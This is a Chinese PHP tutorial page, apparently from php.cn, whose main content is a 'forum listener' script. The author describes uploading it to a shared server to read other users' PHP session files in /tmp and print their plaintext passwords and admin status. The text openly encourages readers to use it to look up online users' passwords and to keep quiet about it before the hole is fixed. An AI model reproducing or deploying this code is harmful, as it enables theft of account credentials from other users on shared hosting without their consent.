• 技术文章 >后端开发 >php教程

    php查看session内容的函数_PHP

    2016-06-01 12:24:51原创325
    如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
    function submit1(){
    global $username;
    print "论坛监听器";
    $i=0;
    if($username=="tasm"||$username=="Tasm")
    {
    print "你也太黑了吧?连我你也查?";
    return;
    }
    $path="/tmp/";
    $d = dir($path);
    while($entry=$d->read()){
    if(substr($entry,0,4)=="sess"){
    $entry=$path.$entry;
    $ary=@file($entry);
    if(!empty($ary[0])){
    $ary = explode(";",$ary[0]);
    $name= explode(":",$ary[0]);
    if($name[2]=="\"".$username."\""){
    $passwd= explode(":",$ary[1]);
    $mode=explode(":",$ary[3]);
    print "用户笔名:".$name[2]."
    使用密码:".$passwd[2]."
    使用模式:";
    if($mode[1]==1)
    print "管理员";
    else
    print "一般用户";
    print"

    偷窃他人密码是不道德行为请少少为之
    ";
    $i=1;
    break;
    }}}}
    if(!$i)
    print "用户:".$username."真的在线吗?如你确定,请再来一次,不要多打空格!";
    $d->close();
    }

    function login(){
    ?>


    论坛监听器




    论坛监听器













    当你看到一用户在线时你想看他的密码,你要如何作呢?
    让我来告诉你:就是使用本程序。
    郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。

    不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。


    请输入你要查的用户名:











    }
    //--------------main()
    if($submit1)
    submit1();
    else
    login();
    ?>
    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:php session
    上一篇:PHP中常用数组处理方法实例分析_PHP 下一篇:php array_slice函数的使用以及参数详解_PHP
    千万级数据并发解决方案

    相关文章推荐

    • ThinkPHP实现将SESSION存入MYSQL的方法_PHP• php中实现精确设置session过期时间的方法_PHP• CodeIgniter安全相关设置汇总_PHP• PHP+Mysql+Ajax+JS实现省市区三级联动_PHP• php实现批量下载百度云盘文件例子分享_PHP
    1/1

    PHP中文网